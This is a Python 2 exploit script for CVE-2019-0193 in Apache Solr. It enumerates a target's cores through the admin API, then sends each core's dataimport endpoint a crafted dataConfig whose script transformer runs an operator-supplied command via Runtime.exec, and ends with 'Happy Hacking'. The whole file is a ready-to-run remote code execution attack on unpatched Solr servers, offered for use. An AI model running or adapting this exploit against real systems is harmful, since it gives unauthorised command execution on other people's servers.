import requests
import json
import sys


banner = '''
 ____        _      ____   ____ _____ 
/ ___|  ___ | |_ __|  _ \ / ___| ____|
\___ \ / _ \| | '__| |_) | |   |  _|  
 ___) | (_) | | |  |  _ <| |___| |___ 
|____/ \___/|_|_|  |_| \_ \____|_____|

CVE-2019-0193 (Rapid SafeGuard)
'''
print (banner)

def findcores(url, cmd):
    core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
    r = requests.get(url=core_selector_url)
    json_strs = json.loads(r.text)
    if r.status_code ==200 and "responseHeader" in r.text:
        print ("\nHere Have %s Core_name Exit!\n" % str(len(json_strs['status'])))
        for core_selector in json_strs['status']:
            coreselector = json_strs['status']['%s'%core_selector]['name']
            print ('\n>>>>The Core Name = %s' % coreselector)
            proofofconcept(url,coreselector,cmd)
            
    else:
        print "No core_selector Exit!"


def proofofconcept(url,coreselector,cmd):
    debug_model_url = url + '/solr/'+ coreselector +'/dataimport?_=1565530241159&indent=on&wt=json'
    payload = "command=full-import&verbose=false&clean=true&commit=true&debug=true&core=atom&dataConfig=%%3CdataConfig%%3E%%0A++%%3CdataSource+type%%3D%%22URLDataSource%%22%%2F%%3E%%0A++%%3Cscript%%3E%%3C!%%5BCDATA%%5B%%0A++++++++++function+poc()%%7B+java.lang.Runtime.getRuntime().exec(%%22%s%%22)%%3B%%0A++++++++++%%7D%%0A++%%5D%%5D%%3E%%3C%%2Fscript%%3E%%0A++%%3Cdocument%%3E%%0A++++%%3Centity+name%%3D%%22stackoverflow%%22%%0A++++++++++++url%%3D%%22https%%3A%%2F%%2Fstackoverflow.com%%2Ffeeds%%2Ftag%%2Fsolr%%22%%0A++++++++++++processor%%3D%%22XPathEntityProcessor%%22%%0A++++++++++++forEach%%3D%%22%%2Ffeed%%22%%0A++++++++++++transformer%%3D%%22script%%3Apoc%%22+%%2F%%3E%%0A++%%3C%%2Fdocument%%3E%%0A%%3C%%2FdataConfig%%3E&name=dataimport" % cmd
    headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding":"gzip, deflate",
    "Content-type":"application/x-www-form-urlencoded",
    "X-Requested-With":"XMLHttpRequest",
    "Referer":"http://%s/solr/" % url

    }
    r3 = requests.post(url = debug_model_url, data=payload,headers=headers)
    print ">>>>> debug_model_url= %s" % debug_model_url
    if r3.status_code ==200 and 'Requests' in r3.text:
        print ("Exploit Done! Happy Hacking")
    else:
        print ("No Send Poc Success!")
        


if __name__ == '__main__':
    url = raw_input("Enter IP and Port with http")
    cmd = raw_input("Enter command")
    findcores(url,cmd)
